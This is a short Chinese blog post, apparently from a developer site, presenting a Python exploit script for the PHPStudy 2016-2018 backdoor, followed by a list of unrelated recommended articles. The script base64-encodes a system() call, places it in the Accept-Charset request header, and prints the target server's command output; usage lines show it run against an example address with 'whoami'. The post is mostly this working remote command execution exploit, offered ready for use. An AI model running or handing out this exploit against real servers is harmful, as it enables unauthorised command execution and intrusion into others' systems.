phpstudy_2016-2018_rce

phpstudy_2016-2018_rce

代码

python 复制代码
import base64
import requests
import sys

banner="""
PHPStudy_2016-2018

    ( )                  ( )        ( )                    
    | |_      _ _    ___ | |/')    _| |   _      _    _ __ 
    | '_`\  /'_` ) /'___)| , <   /'_` | /'_`\  /'_`\ ( '__)
    | |_) )( (_| |( (___ | |\`\ ( (_| |( (_) )( (_) )| |   
    (_,__/'`\__,_)`\____)(_) (_)`\__,_)`\___/'`\___/'(_)   

                                                    - Order
Usage: python *.py http://10.9.47.154/phpinfo.php whoami

"""
# 错误时的提示信息


def attack(url,cmd):           # 攻击函数体
    cmd=f"system('{cmd}');"
    # 将命令包装system()
    cmd=base64.b64encode(cmd.encode()).decode()
    # 将命令二进制编码解码以及base64编码
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0",
        "Accept-Encoding" : "gzip,deflate",
        "Accept-Charset"  : f"{cmd}"
    }
    # 请求头信息
    res=requests.get(url=url,headers=headers)
    html=res.content.decode("GBK")
    # 使用GBK解码
    num=html.find("<!DOCTYPE html")
    # 截取命令回显部分
    result=html[:num].strip()
    return result
try:
    url=sys.argv[1]
    cmd=sys.argv[2]
    # 获取两个变量值
    attack(url,cmd)
except:
    print(banner)
    # 错误时输出banner
else:
    print(attack(url,cmd))

使用方法

复制代码
python 文件名.py 目标页面url 执行的命令
例如
python attack.py http://10.9.47.154/phpinfo.php whoami

正确执行时

错误执行时

相关推荐
用户962377954484 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机7 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机7 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
IVEN_7 小时前
只会Python皮毛?深入理解这几点,轻松进阶全栈开发
python·全栈
Ray Liang9 小时前
用六边形架构与整洁架构对比是伪命题?
java·python·c#·架构设计
AI攻城狮9 小时前
如何给 AI Agent 做"断舍离":OpenClaw Session 自动清理实践
python
用户962377954489 小时前
DVWA 靶场实验报告 (Medium Level)
安全
千寻girling9 小时前
一份不可多得的 《 Python 》语言教程
人工智能·后端·python
red1giant_star9 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全